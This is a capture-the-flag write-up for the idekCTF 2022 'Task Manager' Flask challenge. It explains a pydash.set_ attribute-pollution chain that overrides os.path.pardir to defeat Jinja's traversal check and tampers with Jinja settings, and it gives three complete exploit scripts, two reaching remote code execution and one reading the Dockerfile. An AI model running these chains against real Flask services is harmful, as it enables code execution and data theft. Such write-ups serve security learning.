Tags: jinja web jinja2 python 

Rating: 5.0

This challenge is quite like a python version of prototype pollution, you can also say that it uses some idea from pyjail, over all, it's a really interesting one.

Let's have a look of the source:

app.py

```python
from flask import Flask, render_template, request, redirect
from taskmanager import TaskManager
import os

app = Flask(__name__)

@app.before_first_request
def init():
if app.env == 'yolo':
app.add_template_global(eval)

@app.route("/<path:path>")
def render_page(path):
if not os.path.exists("templates/" + path):
return "not found", 404
return render_template(path)

@app.route("/api/manage_tasks", methods=["POST"])
def manage_tasks():
task, status = request.json.get('task'), request.json.get('status')
if not task or type(task) != str:
return {"message": "You must provide a task name as a string!"}, 400
if len(task) > 150:
return {"message": "Tasks may not be over 150 characters long!"}, 400
if status and len(status) > 50:
return {"message": "Statuses may not be over 50 characters long!"}, 400
if not status:
tasks.complete(task)
return {"message": "Task marked complete!"}, 200
if type(status) != str:
return {"message": "Your status must be a string!"}, 400
if tasks.set(task, status):
return {"message": "Task updated!"}, 200
return {"message": "Invalid task name!"}, 400

@app.route("/api/get_tasks", methods=["POST"])
def get_tasks():
try:
task = request.json.get('task')
return tasks.get(task)
except:
return tasks.get_all()

@app.route('/')
def index():
return redirect("/home.html")

tasks = TaskManager()

app.run('0.0.0.0', 1337)

```

taskmanager.py

```python
import pydash

class TaskManager:
protected = ["set", "get", "get_all", "__init__", "complete"]

def __init__(self):
self.set("capture the flag", "incomplete")

def set(self, task, status):
if task in self.protected:
return
pydash.set_(self, task, status)
return True

def complete(self, task):
if task in self.protected:
return
pydash.set_(self, task, False)
return True

def get(self, task):
if hasattr(self, task):
return {task: getattr(self, task)}
return {}

def get_all(self):
return self.__dict__
```

The code is quite simple, the author built a flask app on top of `pydash.set_`, which is a advanced version of `setattr` but supports to set a variable by its path.

e.g.

```Python
>>> pydash.set_({"A":{"B":"C"}}, "A.B", "D")
{'A': {'B': 'D'}}
```

## Accessing `app`

As there is nothing much could be use, it's a good idea to find out a way to access `app.py`. With `pydash.set_()`, we can make it happen using some special variables just like we usually do in ssti and pyjail:

```Python
pydash.set_(
TaskManager(),
'__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.xxx',
'xxx'
)
```

## Adding `eval` to jinja globals

Let's have a look back at `app.py`, and it's not hard to find some strange codes:

```python
@app.before_first_request
def init():
if app.env == 'yolo':
app.add_template_global(eval)
```
![](https://hxz3zo0taq.feishu.cn/space/api/box/stream/download/asynccode/?code=YjczMTMwMWMyZTY2OGIyNzg1Yzg2NmY0MzdiODBjZjFfb3hoOVltcEJiT0Y2Zkdsbm1CODF1b2JaR0tSNFRRZjNfVG9rZW46Ym94Y25tTTB0dldDSGdnNVIwcUg2SkVtd21ZXzE2NzQyNzg1MzE6MTY3NDI4MjEzMV9WNA)

We just got the access to `app.py`, which means `app.env` could be modified to anything we want. If we could make the code above run again, we could invoke `eval` function in templates and then trigger rce. Luckily, after some digging, I just found it's possible by settting `app._got_first_request` to `False`.

## Triggering `eval`

With `eval` in jinja globals, the next question is how can we invoke it. We all know that jinja recognise variables by `{{.*}}`, what if we changed it? In `app.jinja_env`, we could find two properties with the value of `{{` and `}}` named `variable_start_string` and `variable_end_string`, which means we could mark any code we want, including `eval(.*)`, as a jinja variable.

## Bypassing jinja directory traversal check

`eval` could only be invoked by ssti, but the html files under `templates` directorry is obviously not usable. So we have to find a way to bypass jinja directory traversal check to render any file we want.

From the jinja source(https://github.com/pallets/jinja/blob/36b601f24b30a91fe2fdc857116382bcb7655466/src/jinja2/loaders.py#L24-L38)

![](https://pics.kdxcxs.com:4433/images/2023/01/21/20230121143335.png)

we could tell that jinja uses `os.path.pardir` to check directory traversal, but we could change `pardir` to something else to bypass it.

## exp

By far, we've got anything we need to get a rce, the final step is to find a file with `eval(.*)` in it and modify `variable_start_string` and `variable_end_string` properties. I first tried using `app.py`, but jinja could not parse it properly as I ended up constructing a form in `{{ eval{# #}(.*) }}`, which is not a valid expression. But we just achieved directory traversal, why not jumpping out of the chellenge files and find something in python lib instead? And the final choice is `turtle.py`:

```Python
import requests
import re

base_url = 'http://127.0.0.1:1337'
url = f'{base_url}/api/manage_tasks'
exp_url = f'{base_url}/../../usr/local/lib/python3.8/turtle.py'
app = '__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app'

# add eval to template globals
requests.post(url, json={"task": f"{app}.env", "status": "yolo"})
requests.post(url, json={"task": f"{app}._got_first_request", "status": None})

# bypass jinja directory traversal check
requests.post(url, json={"task": "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.os.path.pardir", "status": "foobar"})

# change jinja_env
requests.post(url, json={"task": f"{app}.jinja_env.variable_start_string", "status": """'""']:\n value = """})
requests.post(url, json={"task": f"{app}.jinja_env.variable_end_string", "status": "\n"})

# add global vars
requests.post(url, json={"task": f"{app}.jinja_env.globals.value", "status": "__import__('os').popen('cat /flag-*.txt').read()"})

# get flag
s = requests.Session()
r = requests.Request(method='GET', url=exp_url)
p = r.prepare()
p.url = exp_url
r = s.send(p)
flag = re.findall('idek{.*}', r.text)[0]
print(flag)
```

## Unintended sol

To begin with, let's have a look at the `Dockerfile` first:

```Dockerfile
RUN echo "idek{[REDACTED]}" > /flag-$(head -c 16 /dev/urandom | xxd -p).txt
...
COPY . .
```

Which means the `Dockerfile` itself is copied into the container with flag written on it, so it's a easier way to get flag by reading `Dockerfile` instead of rce.

```Python
import requests
import re

base_url = 'http://127.0.0.1:1337'
url = f'{base_url}/api/manage_tasks'
exp_url = f'{base_url}/../Dockerfile'

# bypass jinja directory traversal check
requests.post(url, json={"task": "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.os.path.pardir", "status": "foobar"})

# get flag
s = requests.Session()
r = requests.Request(method='GET', url=exp_url)
p = r.prepare()
p.url = exp_url
r = s.send(p)
flag = re.findall('idek{.*}', r.text)[0]
print(flag)
```

## RCE by `jinja2.runtime.exported`

> [https://github.com/Myldero/ctf-writeups/tree/master/idekCTF%202022/task%20manager](https://github.com/Myldero/ctf-writeups/tree/master/idekCTF%202022/task%20manager)

In the [source of jinja](https://github.com/pallets/jinja/blob/main/src/jinja2/environment.py#L1208) we know that the rendering function acctually invokes `environment.from_string`, which then [invokes `environment.compile`](https://github.com/pallets/jinja/blob/main/src/jinja2/environment.py#L1105) and returns a `code` object generated by `__builtins__.compile`. The `code` object endded up be [execed](https://github.com/pallets/jinja/blob/main/src/jinja2/environment.py#L1222), if we could control the `code` object, we get rce.

After some debugging, we could find a variable named `exported_names` is [added](https://github.com/pallets/jinja/blob/main/src/jinja2/compiler.py#L839) into the source code and latter compiled into the `code` object. And it's not hard to find that it's a string array in [jinja2.runtime](https://github.com/pallets/jinja/blob/main/src/jinja2/runtime.py#L45), so we could change it by `pydash.set_()` and get rce:

```Python
import requests, re

base_url = 'http://127.0.0.1:1337'
url = f'{base_url}/api/manage_tasks'
flag_url = f'{base_url}/../../tmp/flag'

payload = '''*
__import__('os').system('cp /flag* /tmp/flag')
#'''

# bypass jinja directory traversal check
requests.post(url, json={"task": "__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.os.path.pardir", "status": "foobar"})

# replace exported to prepare rce
requests.post(url, json={"task": "__init__.__globals__.__loader__.__init__.__globals__.sys.modules.jinja2.runtime.exported.0", "status": payload})

# trigger rce
requests.get(f'{base_url}/home.html')

# get flag
s = requests.Session()
r = requests.Request(method='GET', url=flag_url)
p = r.prepare()
p.url = flag_url
r = s.send(p)
flag = re.findall('idek{.*}', r.text)[0]
print(flag)
```

Original writeup (https://kdxcxs.github.io/en/posts/wp/idekctf-2022-task-manager-wp/).